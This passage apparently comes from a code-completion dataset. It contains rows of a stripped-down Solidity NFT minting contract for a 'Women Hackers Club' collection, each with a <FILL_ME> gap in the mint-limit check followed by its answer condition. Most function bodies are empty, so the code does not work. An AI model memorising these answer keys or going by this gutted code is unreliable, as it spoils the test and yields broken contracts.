function setAllowlistPrice(uint256 _allowlistprice) external onlyOwner {
}
function setPerTxLimit(uint256 _perTxLimit) external onlyOwner {
}
function setWalletLimit(uint256 _perWalletLimit) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function totalSupply() external view returns (uint256) {
}
function getCurrentId() external view returns (uint256) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setSigningAddress(address _signingAddress) external onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* and hash the result
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
}
function verifySignature(uint8 v, bytes32 r,bytes32 s,uint256 amountAllowed,uint256 free) public view returns (bool) {
}
}
|
ownerMintedCount+mintCount<=mint_allowed,"Individual mint limit exceeded!"
| 142,271 |
ownerMintedCount+mintCount<=mint_allowed
|
"wallet_limit exceeded"
|
// SPDX-License-Identifier: MIT
/*
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
*/
pragma solidity ^0.8.13;
import "./layerzero/ONFT721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract WomenHackersClub is Ownable, ONFT721 {
using Counters for Counters.Counter;
Counters.Counter private nextMintId;
string public baseTokenURI;
uint256 public maxMintId;
uint256 price = 82000000000000000; // 0.082 ether
uint256 mintpassprice = 64000000000000000; // 0.064 ether
uint256 allowlistprice = 76000000000000000; // 0.076 ether
uint256 public walletLimit = 100;
uint256 public perTxLimit = 3;
bool public saleIsActive = false;
bool public PresaleIsActive = false;
mapping(address => uint256) public addressMintedBalance;
address private a1 = 0xd6B20f7AB159Faf338093d51e1Eb78DEdB2a00B2;
address public signingAddress = 0x1048Ded3a542e064C82161Ab8840152393E0477E;
constructor(address _layerZeroEndpoint, uint startMintId, uint endMintId) ONFT721("Women Women Hackers Club", "WHC", _layerZeroEndpoint) {
}
function allowlistMint(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function mintpassMint(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function claim(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function publicMint(uint256 mintCount) external payable {
require(saleIsActive, "Sale not active");
require(msg.value >= price * mintCount, "not enought eth");
require(mintCount <= perTxLimit, "tx_limit exceeded");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(<FILL_ME>)
mint(msg.sender,mintCount);
}
function mintOwner(address addr, uint256 mintCount) external onlyOwner {
}
function mint(address addr, uint256 mintCount) private {
}
function setMaxMintId(uint256 _maxMintId) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setMintpassPrice(uint256 _mintpassprice) external onlyOwner {
}
function setAllowlistPrice(uint256 _allowlistprice) external onlyOwner {
}
function setPerTxLimit(uint256 _perTxLimit) external onlyOwner {
}
function setWalletLimit(uint256 _perWalletLimit) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function totalSupply() external view returns (uint256) {
}
function getCurrentId() external view returns (uint256) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setSigningAddress(address _signingAddress) external onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* and hash the result
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
}
function verifySignature(uint8 v, bytes32 r,bytes32 s,uint256 amountAllowed,uint256 free) public view returns (bool) {
}
}
|
ownerMintedCount+mintCount<=walletLimit,"wallet_limit exceeded"
| 142,271 |
ownerMintedCount+mintCount<=walletLimit
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.